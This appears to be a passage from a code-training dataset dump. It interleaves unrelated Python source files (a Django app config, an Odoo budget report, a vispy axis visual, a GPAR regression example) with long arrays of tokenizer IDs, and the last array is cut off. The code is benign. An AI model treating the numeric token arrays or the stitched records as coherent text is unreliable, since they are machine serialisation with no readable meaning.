962, 15206, 29941, 29889, 3364, 267, 29889, 2273, 29880, 381, 29889, 915, 16300, 284, 29889, 28100, 284, 13079, 5265, 29934, 15462, 29931, 29946, 7129, 1053, 313, 13, 1678, 1522, 16300, 284, 13079, 5265, 29934, 15462, 29931, 29946, 7129, 29892, 13, 29897, 13, 3166, 282, 962, 15206, 29941, 29889, 3364, 267, 29889, 2273, 29880, 381, 29889, 915, 16300, 284, 29889, 28100, 284, 13079, 5265, 29934, 1542, 5596, 29931, 29946, 7129, 1053, 313, 13, 1678, 1522, 16300, 284, 13079, 5265, 29934, 1542, 5596, 29931, 29946, 7129, 29892, 13, 29897, 13, 3166, 282, 962, 15206, 29941, 29889, 3364, 267, 29889, 2273, 29880, 381, 29889, 915, 16300, 284, 29889, 28100, 284, 13079, 5265, 29934, 16227, 2133, 7129, 1053, 313, 13, 1678, 1522, 16300, 284, 13079, 5265, 29934, 16227, 2133, 7129, 29892, 13, 29897, 13, 3166, 282, 962, 15206, 29941, 29889, 3364, 267, 29889, 2273, 29880, 381, 29889, 12523, 1053, 10772, 11490, 8547, 4217, 2392, 29892, 10772, 11490, 29931, 1542, 2392, 13, 3166, 282, 962, 15206, 29941, 29889, 3364, 267, 29889, 2273, 29880, 381, 29889, 4422, 29889, 1688, 29918, 329, 1793, 1053, 437, 29918, 1688, 29892, 3806, 29918, 14057, 545, 13, 13, 13, 1753, 1887, 29918, 1867, 29918, 1688, 29898, 286, 29871, 1125, 13, 29871, 9995, 5596, 565, 5759, 6030, 284, 390, 29911, 5265, 29934, 338, 278, 1021, 408, 3407, 1213, 15945, 13, 29871, 286, 29889, 295, 3717, 403, 580, 13, 29871, 286, 29889, 7302, 29898, 1522, 16300, 284, 13079, 5265, 29934, 15462, 29931, 29946, 7129, 580, 1723, 13, 29871, 286, 29889, 7302, 29898, 1522, 16300, 284, 13079, 5265, 29934, 1542, 5596, 29931, 29946, 7129, 580, 1723, 13, 29871, 286, 29889, 7302, 29898, 1522, 16300, 284, 13079, 5265, 29934, 16227, 2133, 7129, 580, 1723, 13, 13, 29871, 1018, 29901, 13, 1678, 2143, 353, 286, 3032, 2273, 29880, 381, 29918, 1688, 29918, 999, 13, 1678, 363, 1999, 29895, 297, 286, 29889, 657, 29918, 5504, 29918, 1271, 29879, 7295, 13, 418, 701, 2204, 29895, 353, 286, 3032, 3364, 29918, 915, 16300, 284, 29918, 2273, 29880, 381, 29918, 1885, 29889, 2273, 29880, 381, 29918, 786, 2204, 2039, 29961, 1999, 29895, 4514, 13, 418, 4974, 701, 2204, 29895, 1275, 2143, 29961, 1999, 29895, 17255, 978, 1649, 4514, 13, 29871, 5174, 23833, 2392, 29901, 13, 1678, 1209, 13, 13, 29937, 2683, 2683, 2683, 2683, 1378, 29899, 13, 29937, 28518, 1243, 4251, 13, 29937, 2683, 2683, 2683, 2683, 1378, 29899, 13, 13, 1753, 1243, 29918, 29931, 29946, 29918, 13248, 29918, 5552, 29898, 437, 29918, 1688, 29871, 1125, 13, 29871, 770, 960, 29883, 29898, 25796, 29871, 1125, 13, 1678, 822, 3386, 29898, 269, 29871, 1125, 13, 418, 269, 29889, 5431, 353, 4451, 2290, 29898, 350, 1169, 29941, 29906, 1723, 13, 29871, 770, 319, 29898, 15924, 29871, 1125, 13, 1678, 822, 3386, 29898, 269, 29871, 1125, 13, 418, 269, 29889, 262, 29918, 353, 960, 29883, 580, 13, 418, 269, 29889, 449, 353, 4451, 2290, 29898, 350, 1169, 29941, 29906, 1723, 13, 418, 732, 29879, 29889, 5504, 13, 418, 822, 701, 2204, 29895, 7295, 13, 4706, 269, 29889, 449, 353, 269, 29889, 262, 5396, 5431, 13, 29871, 263, 353, 319, 580, 13, 29871, 263, 3032, 2273, 29880, 381, 29918, 1688, 29918, 999, 353, 426, 525, 786, 2204, 29895, 29915, 584, 422, 29890, 3373, 2204, 29895, 29898, 525, 786, 2204, 29895, 742, 518, 4007, 647, 29898, 13, 418, 23833, 29898, 7399, 29898, 263, 10353, 525, 449, 29915, 10353, 23833, 29898, 13, 4706, 23833, 29898, 7399, 29898, 263, 10353, 525, 262, 29918, 29915, 10353, 525, 5431, 29915, 10353, 5852, 1723, 4514, 1723, 500, 13, 29871, 437, 29918, 1688, 29898, 263, 1723, 13, 13, 1753, 1243, 29918, 29931, 29946, 29918, 13248, 29918, 2378, 29918, 2248, 29898, 437, 29918, 1688, 29871, 1125, 13, 29871, 770, 960, 29883, 29898, 25796, 29871, 1125, 13, 1678, 822, 3386, 29898, 269, 29871, 1125, 13, 418, 269, 29889, 5431, 353, 4451, 2290, 29898, 350, 1169, 29941, 29906, 1723, 13, 29871, 770, 319, 29898, 15924, 29871, 1125, 13, 1678, 822, 3386, 29898, 269, 29871, 1125, 13, 418, 269, 29889, 262, 29918, 353, 518, 960, 29883, 580, 363, 903, 297, 3464, 29898, 29946, 29897, 4514, 13, 418, 269, 29889, 449, 353, 4451, 2290, 29898, 350, 1169, 29941, 29906, 1723, 13, 418, 732, 29879, 29889, 5504, 13, 418, 822, 701, 2204, 29895, 7295, 13, 4706, 269, 29889, 449, 353, 269, 29889, 262, 29918, 29961, 29906, 1822, 5431, 13, 29871, 263, 353, 319, 580, 13, 29871, 263, 3032, 2273, 29880, 381, 29918, 1688, 29918, 999, 353, 426, 525, 786, 2204, 29895, 29915, 584, 422, 29890, 3373, 2204, 29895, 29898, 525, 786, 2204, 29895, 742, 518, 4007, 647, 29898, 13, 418, 23833, 29898, 7399, 29898, 263, 10353, 525, 449, 29915, 10353, 23833, 29898, 11374, 29898, 13, 4706, 23833, 29898, 7399, 29898, 263, 10353, 525, 262, 29918, 29915, 10353, 9681, 29898, 29906, 29897, 10353, 525, 5431, 29915, 10353, 5852, 1723, 4514, 1723, 500, 13, 29871, 437, 29918, 1688, 29898, 263, 1723, 13, 13, 29937, 2683, 2683, 2683, 2683, 1378, 29899, 13, 29937, 10772, 11490, 29931, 1134, 4436, 13, 29937, 2683, 2683, 2683, 2683, 1378, 29899, 13, 13, 1753, 1243, 29918, 29931, 29946, 29918, 13248, 29918, 1217, 29918, 2671, 29898, 437, 29918, 1688, 29871, 1125, 13, 29871, 770, 960, 29883, 29898, 25796, 29871, 1125, 13, 1678, 822, 3386, 29898, 269, 29871, 1125, 13, 418, 269, 29889, 5431, 353, 4451, 2290, 29898, 350, 1169, 29941, 29906, 1723, 13, 29871, 770, 319, 29898, 15924, 29871, 1125, 13, 1678, 822, 3386, 29898, 269, 29871, 1125, 13, 418, 269, 29889, 262, 29918, 353, 960, 29883, 580, 13, 418, 269, 29889, 449, 353, 4451, 2290, 29898, 350, 1169, 29941, 29906, 1723, 13, 418, 732, 29879, 29889, 5504, 13, 418, 822, 701, 2204, 29895, 7295, 13, 4706, 269, 29889, 449, 353, 269, 29889, 262, 5396, 1646, 13, 29871, 411, 3806, 29918, 14057, 545, 29898, 11681, 3664, 6185, 433, 1127, 2392, 29892, 525, 29879, 29889, 262, 29918, 947, 451, 505, 1746, 376, 1646, 29908, 29915, 29871, 1125, 13, 1678, 437, 29918, 1688, 29898, 319, 580, 1723, 13, 2 ]
myblog/apps.py
HaibaraAi123/DjangoBlog-chenfeng123.cn
1
161007
from django.apps import AppConfig class Newapp1Config(AppConfig): name = 'myblog'
[ 1, 515, 9557, 29889, 13371, 1053, 2401, 3991, 13, 13, 13, 1990, 1570, 932, 29896, 3991, 29898, 2052, 3991, 1125, 13, 1678, 1024, 353, 525, 1357, 7312, 29915, 13, 2 ]
odoo/custom/src/private/nxpo_budget_revision_monitoring_project/report/budget_monitor_revision_report.py
Saran440/nxpo
0
28140
<reponame>Saran440/nxpo<filename>odoo/custom/src/private/nxpo_budget_revision_monitoring_project/report/budget_monitor_revision_report.py # Copyright 2020 Ecosoft Co., Ltd. (http://ecosoft.co.th) # License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). from odoo import fields, models class BudgetMonitorRevisionReport(models.Model): _inherit = "budget.monitor.revision.report" project_id = fields.Many2one(comodel_name="res.project") def _select_budget(self): select_budget_query = super()._select_budget() select_budget_query = ",".join([select_budget_query, "aa.project_id"]) return select_budget_query
[ 1, 529, 276, 1112, 420, 29958, 29903, 23029, 29946, 29946, 29900, 29914, 23818, 1129, 29966, 9507, 29958, 397, 3634, 29914, 6341, 29914, 4351, 29914, 9053, 29914, 23818, 1129, 29918, 15841, 657, 29918, 276, 4924, 29918, 3712, 2105, 292, 29918, 4836, 29914, 12276, 29914, 15841, 657, 29918, 3712, 2105, 29918, 276, 4924, 29918, 12276, 29889, 2272, 13, 29937, 14187, 1266, 29871, 29906, 29900, 29906, 29900, 382, 3944, 29877, 615, 3189, 1696, 19806, 29889, 313, 1124, 597, 687, 9064, 615, 29889, 1111, 29889, 386, 29897, 13, 29937, 19245, 16369, 7390, 29899, 29941, 29889, 29900, 470, 2678, 313, 1124, 597, 1636, 29889, 18713, 29889, 990, 29914, 506, 11259, 29914, 351, 572, 467, 13, 13, 3166, 288, 1867, 29877, 1053, 4235, 29892, 4733, 13, 13, 13, 1990, 7038, 657, 7185, 2105, 1123, 4924, 13020, 29898, 9794, 29889, 3195, 1125, 13, 1678, 903, 262, 27069, 353, 376, 15841, 657, 29889, 3712, 2105, 29889, 276, 4924, 29889, 12276, 29908, 13, 13, 1678, 2060, 29918, 333, 353, 4235, 29889, 14804, 29906, 650, 29898, 510, 27224, 29918, 978, 543, 690, 29889, 4836, 1159, 13, 13, 1678, 822, 903, 2622, 29918, 15841, 657, 29898, 1311, 1125, 13, 4706, 1831, 29918, 15841, 657, 29918, 1972, 353, 2428, 2141, 29918, 2622, 29918, 15841, 657, 580, 13, 4706, 1831, 29918, 15841, 657, 29918, 1972, 353, 9162, 1642, 7122, 4197, 2622, 29918, 15841, 657, 29918, 1972, 29892, 376, 7340, 29889, 4836, 29918, 333, 20068, 13, 4706, 736, 1831, 29918, 15841, 657, 29918, 1972, 13, 2 ]
hyperaxis.py
wngu6/tourpy
0
1612338
""" A visual class containing multiple axes. """ import numpy as np from vispy.visuals import CompoundVisual, LineVisual, TextVisual class HyperAxisVisual(CompoundVisual): def __init__(self, pos, color="black", labels=None): self.pos = np.zeros((pos.shape[0]*2, 3)) for i in range(pos.shape[0]): self.pos[2*i+1] = pos[i] self._lines = LineVisual(pos=self.pos, method="gl", color=color, connect="segments", antialias=True) self._text = TextVisual(text=labels, color=color, bold=True, italic=True, pos=pos * 1.1, font_size=14, method="gpu") CompoundVisual.__init__(self, [self._lines, self._text]) def set_data(self, pos): for i in range(pos.shape[0]): self.pos[2*i+1] = pos[i] self._lines.set_data(pos=self.pos) self._text.pos = pos * 1.1 self._text.update()
[ 1, 9995, 13, 29909, 7604, 770, 6943, 2999, 27815, 29889, 13, 15945, 29908, 13, 13, 5215, 12655, 408, 7442, 13, 3166, 1998, 2272, 29889, 20119, 29879, 1053, 3831, 618, 16227, 29892, 7407, 16227, 29892, 3992, 16227, 13, 13, 1990, 26078, 16070, 16227, 29898, 6843, 618, 16227, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 926, 29892, 2927, 543, 8517, 613, 11073, 29922, 8516, 1125, 13, 13, 4706, 1583, 29889, 1066, 353, 7442, 29889, 3298, 359, 3552, 1066, 29889, 12181, 29961, 29900, 14178, 29906, 29892, 29871, 29941, 876, 13, 4706, 363, 474, 297, 3464, 29898, 1066, 29889, 12181, 29961, 29900, 29962, 1125, 13, 9651, 1583, 29889, 1066, 29961, 29906, 29930, 29875, 29974, 29896, 29962, 353, 926, 29961, 29875, 29962, 13, 13, 4706, 1583, 3032, 9012, 353, 7407, 16227, 29898, 1066, 29922, 1311, 29889, 1066, 29892, 1158, 543, 3820, 613, 2927, 29922, 2780, 29892, 4511, 543, 10199, 1860, 613, 3677, 616, 3173, 29922, 5574, 29897, 13, 4706, 1583, 3032, 726, 353, 3992, 16227, 29898, 726, 29922, 21134, 29892, 2927, 29922, 2780, 29892, 14288, 29922, 5574, 29892, 4698, 293, 29922, 5574, 29892, 926, 29922, 1066, 334, 29871, 29896, 29889, 29896, 29892, 4079, 29918, 2311, 29922, 29896, 29946, 29892, 1158, 543, 29887, 3746, 1159, 13, 13, 4706, 3831, 618, 16227, 17255, 2344, 12035, 1311, 29892, 518, 1311, 3032, 9012, 29892, 1583, 3032, 726, 2314, 13, 13, 1678, 822, 731, 29918, 1272, 29898, 1311, 29892, 926, 1125, 13, 4706, 363, 474, 297, 3464, 29898, 1066, 29889, 12181, 29961, 29900, 29962, 1125, 13, 9651, 1583, 29889, 1066, 29961, 29906, 29930, 29875, 29974, 29896, 29962, 353, 926, 29961, 29875, 29962, 13, 4706, 1583, 3032, 9012, 29889, 842, 29918, 1272, 29898, 1066, 29922, 1311, 29889, 1066, 29897, 13, 4706, 1583, 3032, 726, 29889, 1066, 353, 926, 334, 29871, 29896, 29889, 29896, 13, 4706, 1583, 3032, 726, 29889, 5504, 580, 13, 2 ]
example.py
wesselb/gparolmm
1
151177
<filename>example.py from collections import namedtuple import numpy as np import lab as B import matplotlib.pyplot as plt import torch import wbml.out import wbml.plot from gpar import GPARRegressor from matrix import Dense from varz import parametrised, Unbounded, Positive from varz.torch import minimise_l_bfgs_b def Model(**kw_args): return namedtuple('Model', kw_args.keys())(**kw_args) # Model parameters: p = 16 m = 4 gpar = GPARRegressor(replace=True, impute=False, noise=0.05, normalise_y=False, linear=False, nonlinear=True) vs = gpar.vs m_true = m # True number of latent processes. # Sample some test data. n = 200 x = B.linspace(0, 30, n) y = gpar.sample(x, w=B.ones(n, m_true), p=m_true) @ B.randn(m_true, p) # Add noise to the test data. noise = 0.05 y = y + noise ** .5 * B.randn(*B.shape(y)) # Split data. n_split = 100 inds1_n = B.range(0, n_split) inds2_n = B.range(n_split, n) n1 = len(inds1_n) n2 = len(inds2_n) inds2_p = B.range(p - m, p) p1 = p p2 = len(inds2_p) def _pinv(h): return B.cholsolve(B.dense(B.chol(Dense(h.T @ h))), B.dense(h.T)) def _inv(a): return B.cholsolve(B.dense(B.chol(Dense(a))), B.eye(a)) @parametrised def build(vs, h: Unbounded(shape=(p, m)), noise: Positive = 0.05): """Build model.""" wbml.out.kv('Noise', noise) x_train = torch.tensor(x) y_train = Dense(torch.tensor(y)) u = B.svd(h)[0] pinv = _pinv(h) x_train1 = x_train[inds1_n] y_train1 = y_train[inds1_n] proj1 = y_train1 @ pinv.T proj1_orth = y_train1 - proj1 @ h.T x_train2 = x_train[inds2_n] y_train2 = y_train[inds2_n][:, inds2_p] h2 = h[inds2_p] u2 = u[inds2_p] proj2 = y_train2 @ (pinv @ u @ _pinv(u2)).T proj2_orth = y_train2 - y_train2 @ (h2 @ _pinv(h2)).T # Check spectral gap for debugging. vals = B.svd(u2.T @ u2)[1] wbml.out.kv('Spectral gap', vals[0] - vals[-1]) # Determine weights. cov_missing = noise * (_inv(h2.T @ h2) - _inv(h.T @ h)) lat_noises = B.concat(*[vs[f'{i}/noise'][None] for i in range(m)]) weights = lat_noises / (lat_noises + B.diag(cov_missing)) wbml.out.kv('Weights', weights) # Convert to weights for all data. dtype = B.dtype(weights) weights = B.concat(B.ones(dtype, n1, m), B.ones(dtype, n2, m) * weights[None, :], axis=0) return Model(x_train=x_train, y_train=y_train, h=h, noise=noise, x_train1=x_train1, y_train1=y_train1, proj1=proj1, proj1_orth=proj1_orth, x_train2=x_train2, y_train2=y_train2, proj2=proj2, proj2_orth=proj2_orth, u2=u2, proj=B.concat(proj1, proj2, axis=0), weights=weights) def nlml(vs): """Compute the negative LML.""" model = build(vs) # Construct regulariser. logdet = n * B.logdet(Dense(model.h.T @ model.h)) + \ n2 * B.logdet(Dense(model.u2.T @ model.u2)) lognoise = (n1 * (p1 - m) + n2 * (p2 - m)) * B.log(2 * B.pi * model.noise) logfrob = (B.sum(model.proj1_orth ** 2) + B.sum(model.proj2_orth ** 2)) / model.noise reg = 0.5 * (logdet + lognoise + logfrob) + \ 1e-4 * B.sum((1 / model.weights) ** 2) gpar.vs = vs return -gpar.logpdf(model.x_train, model.proj, model.weights) + reg def predict(vs, x, num_samples=100): """Predict by sampling.""" model = build(vs) h = B.to_numpy(model.h) weights = B.to_numpy(model.weights) # Condition GPAR and sample from the posterior. gpar.vs = vs gpar.condition(B.to_numpy(model.x_train), B.to_numpy(model.proj), weights) samples = gpar.sample(x, weights, num_samples=num_samples, posterior=True) # Compute empirical mean and error bars for predictions of latents. samples_lat = B.stack(*samples, axis=0) mean_lat = B.mean(samples_lat, axis=0) err_lat = 2 * B.std(samples_lat, axis=0) # Transform to observation space. samples = B.stack(*[sample @ h.T for sample in samples], axis=0) # Compute empirical mean and error bars for predictions in observation # space. mean = B.mean(samples, axis=0) err = 2 * B.std(samples, axis=0) return ((mean_lat, mean_lat - err_lat, mean_lat + err_lat), (mean, mean - err, mean + err)) # Perform training. with wbml.out.Section('Before training'): wbml.out.kv('NLML', nlml(vs)) vs.print() minimise_l_bfgs_b(nlml, vs, trace=True, iters=1000) with wbml.out.Section('After training'): wbml.out.kv('NLML', nlml(vs)) vs.print() # Perform prediction. with wbml.out.Section('Predicting'): ((mean_lat, lower_lat, upper_lat), (mean, lower, upper)) = predict(vs, x) # Plot predictions for latent processes. plt.figure(figsize=(12, 8)) num = int(np.ceil(m ** .5)) obs_lat = B.to_numpy(build(vs).proj) for i in range(min(m, num * num)): plt.subplot(num, num, i + 1) plt.scatter(x, obs_lat[:, i], label='Observations', c='black') plt.plot(x, mean_lat[:, i], label='Prediction', c='tab:blue') plt.plot(x, lower_lat[:, i], c='tab:blue', ls='--') plt.plot(x, upper_lat[:, i], c='tab:blue', ls='--') wbml.plot.tweak(legend=False) # Plot predictions. plt.figure(figsize=(12, 8)) num = int(np.ceil(p ** .5)) for i in range(min(p, num * num)): plt.subplot(num, num, i + 1) plt.scatter(x[inds1_n], y[inds1_n, i], label='Observations', c='black') if i in inds2_p: plt.scatter(x[inds2_n], y[inds2_n, i], label='Observations', c='black') else: plt.scatter(x[inds2_n], y[inds2_n, i], c='tab:red') plt.plot(x, mean[:, i], label='Prediction', c='tab:blue') plt.plot(x, lower[:, i], c='tab:blue', ls='--') plt.plot(x, upper[:, i], c='tab:blue', ls='--') wbml.plot.tweak(legend=False) plt.show()
[ 1, 529, 9507, 29958, 4773, 29889, 2272, 13, 3166, 16250, 1053, 4257, 23583, 13, 13, 5215, 12655, 408, 7442, 13, 5215, 9775, 408, 350, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 5215, 4842, 305, 13, 5215, 281, 29890, 828, 29889, 449, 13, 5215, 281, 29890, 828, 29889, 5317, 13, 3166, 330, 862, 1053, 402, 16320, 4597, 1253, 272, 13, 3166, 4636, 1053, 360, 1947, 13, 3166, 722, 29920, 1053, 1828, 18184, 3368, 29892, 853, 29306, 29892, 10321, 3321, 13, 3166, 722, 29920, 29889, 7345, 305, 1053, 6260, 895, 29918, 29880, 29918, 1635, 3174, 29918, 29890, 13, 13, 13, 1753, 8125, 29898, 1068, 11022, 29918, 5085, 1125, 13, 1678, 736, 4257, 23583, 877, 3195, 742, 9049, 29918, 5085, 29889, 8149, 3101, 29898, 1068, 11022, 29918, 5085, 29897, 13, 13, 13, 29937, 8125, 4128, 29901, 13, 29886, 353, 29871, 29896, 29953, 13, 29885, 353, 29871, 29946, 13, 29887, 862, 353, 402, 16320, 4597, 1253, 272, 29898, 6506, 29922, 5574, 29892, 527, 649, 29872, 29922, 8824, 29892, 11462, 29922, 29900, 29889, 29900, 29945, 29892, 13, 462, 268, 4226, 895, 29918, 29891, 29922, 8824, 29892, 5608, 29922, 8824, 29892, 1661, 10660, 29922, 5574, 29897, 13, 4270, 353, 330, 862, 29889, 4270, 13, 13, 29885, 29918, 3009, 353, 286, 29871, 396, 5852, 1353, 310, 3405, 296, 10174, 29889, 13, 13, 29937, 21029, 777, 1243, 848, 29889, 13, 29876, 353, 29871, 29906, 29900, 29900, 13, 29916, 353, 350, 29889, 1915, 3493, 29898, 29900, 29892, 29871, 29941, 29900, 29892, 302, 29897, 13, 29891, 353, 330, 862, 29889, 11249, 29898, 29916, 29892, 281, 29922, 29933, 29889, 2873, 29898, 29876, 29892, 286, 29918, 3009, 511, 282, 29922, 29885, 29918, 3009, 29897, 732, 350, 29889, 9502, 29876, 29898, 29885, 29918, 3009, 29892, 282, 29897, 13, 13, 29937, 3462, 11462, 304, 278, 1243, 848, 29889, 13, 1217, 895, 353, 29871, 29900, 29889, 29900, 29945, 13, 29891, 353, 343, 718, 11462, 3579, 869, 29945, 334, 350, 29889, 9502, 29876, 10456, 29933, 29889, 12181, 29898, 29891, 876, 13, 13, 29937, 26178, 848, 29889, 13, 29876, 29918, 5451, 353, 29871, 29896, 29900, 29900, 13, 12772, 29896, 29918, 29876, 353, 350, 29889, 3881, 29898, 29900, 29892, 302, 29918, 5451, 29897, 13, 12772, 29906, 29918, 29876, 353, 350, 29889, 3881, 29898, 29876, 29918, 5451, 29892, 302, 29897, 13, 29876, 29896, 353, 7431, 29898, 12772, 29896, 29918, 29876, 29897, 13, 29876, 29906, 353, 7431, 29898, 12772, 29906, 29918, 29876, 29897, 13, 12772, 29906, 29918, 29886, 353, 350, 29889, 3881, 29898, 29886, 448, 286, 29892, 282, 29897, 13, 29886, 29896, 353, 282, 13, 29886, 29906, 353, 7431, 29898, 12772, 29906, 29918, 29886, 29897, 13, 13, 13, 1753, 903, 29886, 11569, 29898, 29882, 1125, 13, 1678, 736, 350, 29889, 305, 324, 2929, 345, 29898, 29933, 29889, 1145, 344, 29898, 29933, 29889, 305, 324, 29898, 29928, 1947, 29898, 29882, 29889, 29911, 732, 298, 876, 511, 350, 29889, 1145, 344, 29898, 29882, 29889, 29911, 876, 13, 13, 13, 1753, 903, 11569, 29898, 29874, 1125, 13, 1678, 736, 350, 29889, 305, 324, 2929, 345, 29898, 29933, 29889, 1145, 344, 29898, 29933, 29889, 305, 324, 29898, 29928, 1947, 29898, 29874, 876, 511, 350, 29889, 1032, 29872, 29898, 29874, 876, 13, 13, 13, 29992, 3207, 18184, 3368, 13, 1753, 2048, 29898, 4270, 29892, 298, 29901, 853, 29306, 29898, 12181, 7607, 29886, 29892, 286, 8243, 11462, 29901, 10321, 3321, 353, 29871, 29900, 29889, 29900, 29945, 1125, 13, 1678, 9995, 8893, 1904, 1213, 15945, 13, 1678, 281, 29890, 828, 29889, 449, 29889, 27049, 877, 3782, 895, 742, 11462, 29897, 13, 13, 1678, 921, 29918, 14968, 353, 4842, 305, 29889, 20158, 29898, 29916, 29897, 13, 1678, 343, 29918, 14968, 353, 360, 1947, 29898, 7345, 305, 29889, 20158, 29898, 29891, 876, 13, 13, 1678, 318, 353, 350, 29889, 4501, 29881, 29898, 29882, 9601, 29900, 29962, 13, 1678, 282, 11569, 353, 903, 29886, 11569, 29898, 29882, 29897, 13, 13, 1678, 921, 29918, 14968, 29896, 353, 921, 29918, 14968, 29961, 12772, 29896, 29918, 29876, 29962, 13, 1678, 343, 29918, 14968, 29896, 353, 343, 29918, 14968, 29961, 12772, 29896, 29918, 29876, 29962, 13, 1678, 410, 29926, 29896, 353, 343, 29918, 14968, 29896, 732, 282, 11569, 29889, 29911, 13, 1678, 410, 29926, 29896, 29918, 2072, 353, 343, 29918, 14968, 29896, 448, 410, 29926, 29896, 732, 298, 29889, 29911, 13, 13, 1678, 921, 29918, 14968, 29906, 353, 921, 29918, 14968, 29961, 12772, 29906, 29918, 29876, 29962, 13, 1678, 343, 29918, 14968, 29906, 353, 343, 29918, 14968, 29961, 12772, 29906, 29918, 29876, 3816, 29901, 29892, 1399, 29879, 29906, 29918, 29886, 29962, 13, 1678, 298, 29906, 353, 298, 29961, 12772, 29906, 29918, 29886, 29962, 13, 1678, 318, 29906, 353, 318, 29961, 12772, 29906, 29918, 29886, 29962, 13, 1678, 410, 29926, 29906, 353, 343, 29918, 14968, 29906, 732, 313, 29886, 11569, 732, 318, 732, 903, 29886, 11569, 29898, 29884, 29906, 8106, 29911, 13, 1678, 410, 29926, 29906, 29918, 2072, 353, 343, 29918, 14968, 29906, 448, 343, 29918, 14968, 29906, 732, 313, 29882, 29906, 732, 903, 29886, 11569, 29898, 29882, 29906, 8106, 29911, 13, 13, 1678, 396, 5399, 23161, 17261, 363, 13490, 29889, 13, 1678, 659, 29879, 353, 350, 29889, 4501, 29881, 29898, 29884, 29906, 29889, 29911, 732, 318, 29906, 9601, 29896, 29962, 13, 1678, 281, 29890, 828, 29889, 449, 29889, 27049, 877, 29903, 1103, 1705, 17261, 742, 659, 29879, 29961, 29900, 29962, 448, 659, 29879, 14352, 29896, 2314, 13, 13, 1678, 396, 5953, 837, 457, 18177, 29889, 13, 1678, 18838, 29918, 27259, 353, 11462, 334, 9423, 11569, 29898, 29882, 29906, 29889, 29911, 732, 298, 29906, 29897, 448, 903, 11569, 29898, 29882, 29889, 29911, 732, 298, 876, 13, 1678, 3405, 29918, 1217, 4637, 353, 350, 29889, 17685, 10456, 29961, 4270, 29961, 29888, 29915, 29912, 29875, 6822, 1217, 895, 2033, 29961, 8516, 29962, 363, 474, 297, 3464, 29898, 29885, 29897, 2314, 13, 1678, 18177, 353, 3405, 29918, 1217, 4637, 847, 313, 5066, 29918, 1217, 4637, 718, 350, 29889, 6051, 351, 29898, 24542, 29918, 27259, 876, 13, 1678, 281, 29890, 828, 29889, 449, 29889, 27049, 877, 4806, 5861, 742, 18177, 29897, 13, 13, 1678, 396, 14806, 304, 18177, 363, 599, 848, 29889, 13, 1678, 26688, 353, 350, 29889, 29881, 1853, 29898, 705, 5861, 29897, 13, 1678, 18177, 353, 350, 29889, 17685, 29898, 29933, 29889, 2873, 29898, 29881, 1853, 29892, 302, 29896, 29892, 286, 511, 13, 462, 539, 350, 29889, 2873, 29898, 29881, 1853, 29892, 302, 29906, 29892, 286, 29897, 334, 18177, 29961, 8516, 29892, 584, 1402, 9685, 29922, 29900, 29897, 13, 13, 1678, 736, 8125, 29898, 29916, 29918, 14968, 29922, 29916, 29918, 14968, 29892, 13, 462, 343, 29918, 14968, 29922, 29891, 29918, 14968, 29892, 13, 462, 298, 29922, 29882, 29892, 13, 462, 11462, 29922, 1217, 895, 29892, 13, 13, 462, 921, 29918, 14968, 29896, 29922, 29916, 29918, 14968, 29896, 29892, 13, 462, 343, 29918, 14968, 29896, 29922, 29891, 29918, 14968, 29896, 29892, 13, 462, 410, 29926, 29896, 29922, 20865, 29896, 29892, 13, 462, 410, 29926, 29896, 29918, 2072, 29922, 20865, 29896, 29918, 2072, 29892, 13, 13, 462, 921, 29918, 14968, 29906, 29922, 29916, 29918, 14968, 29906, 29892, 13, 462, 343, 29918, 14968, 29906, 29922, 29891, 29918, 14968, 29906, 29892, 13, 462, 410, 29926, 29906, 29922, 20865, 29906, 29892, 13, 462, 410, 29926, 29906, 29918, 2072, 29922, 20865, 29906, 29918, 2072, 29892, 13, 462, 318, 29906, 29922, 29884, 29906, 29892, 13, 13, 462, 410, 29926, 29922, 29933, 29889, 17685, 29898, 20865, 29896, 29892, 410, 29926, 29906, 29892, 9685, 29922, 29900, 511, 13, 462, 18177, 29922, 705, 5861, 29897, 13, 13, 13, 1753, 302, 29880, 828, 29898, 4270, 1125, 13, 1678, 9995, 20606, 29872, 278, 8178, 365, 1988, 1213, 15945, 13, 1678, 1904, 353, 2048, 29898, 4270, 29897, 13, 13, 1678, 396, 1281, 4984, 4943, 7608, 29889, 13, 1678, 1480, 4801, 353, 302, 334, 350, 29889, 1188, 4801, 29898, 29928, 1947, 29898, 4299, 29889, 29882, 29889, 29911, 732, 1904, 29889, 29882, 876, 718, 320, 13, 632, 302, 29906, 334, 350, 29889, 1188, 4801, 29898, 29928, 1947, 29898, 4299, 29889, 29884, 29906, 29889, 29911, 732, 1904, 29889, 29884, 29906, 876, 13, 1678, 1480, 1217, 895, 353, 313, 29876, 29896, 334, 313, 29886, 29896, 448, 286, 29897, 718, 302, 29906, 334, 313, 29886, 29906, 448, 286, 876, 334, 350, 29889, 1188, 29898, 29906, 334, 350, 29889, 1631, 334, 1904, 29889, 1217, 895, 29897, 13, 1678, 1480, 29888, 13716, 353, 313, 29933, 29889, 2083, 29898, 4299, 29889, 20865, 29896, 29918, 2072, 3579, 29871, 29906, 29897, 718, 13, 1669, 350, 29889, 2083, 29898, 4299, 29889, 20865, 29906, 29918, 2072, 3579, 29871, 29906, 876, 847, 1904, 29889, 1217, 895, 13, 1678, 1072, 353, 29871, 29900, 29889, 29945, 334, 313, 1188, 4801, 718, 1480, 1217, 895, 718, 1480, 29888, 13716, 29897, 718, 320, 13, 965, 29896, 29872, 29899, 29946, 334, 350, 29889, 2083, 3552, 29896, 847, 1904, 29889, 705, 5861, 29897, 3579, 29871, 29906, 29897, 13, 13, 1678, 330, 862, 29889, 4270, 353, 7186, 13, 1678, 736, 448, 29887, 862, 29889, 1188, 5140, 29898, 4299, 29889, 29916, 29918, 14968, 29892, 1904, 29889, 20865, 29892, 1904, 29889, 705, 5861, 29897, 718, 1072, 13, 13, 13, 1753, 8500, 29898, 4270, 29892, 921, 29892, 954, 29918, 27736, 29922, 29896, 29900, 29900, 1125, 13, 1678, 9995, 23084, 919, 491, 23460, 1213, 15945, 13, 1678, 1904, 353, 2048, 29898, 4270, 29897, 13, 1678, 298, 353, 350, 29889, 517, 29918, 23749, 29898, 4299, 29889, 29882, 29897, 13, 1678, 18177, 353, 350, 29889, 517, 29918, 23749, 29898, 4299, 29889, 705, 5861, 29897, 13, 13, 1678, 396, 11790, 654, 402, 16320, 322, 4559, 515, 278, 13446, 29889, 13, 1678, 330, 862, 29889, 4270, 353, 7186, 13, 1678, 330, 862, 29889, 16122, 29898, 29933, 29889, 517, 29918, 23749, 29898, 4299, 29889, 29916, 29918, 14968, 511, 